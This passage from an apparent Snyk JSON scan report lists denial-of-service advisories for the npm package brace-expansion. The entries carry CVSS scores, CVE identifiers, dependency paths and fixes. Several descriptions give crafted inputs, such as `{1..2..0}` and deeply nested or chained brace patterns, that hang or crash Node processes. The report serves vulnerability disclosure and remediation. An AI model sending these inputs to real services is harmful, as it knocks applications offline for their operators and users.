Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
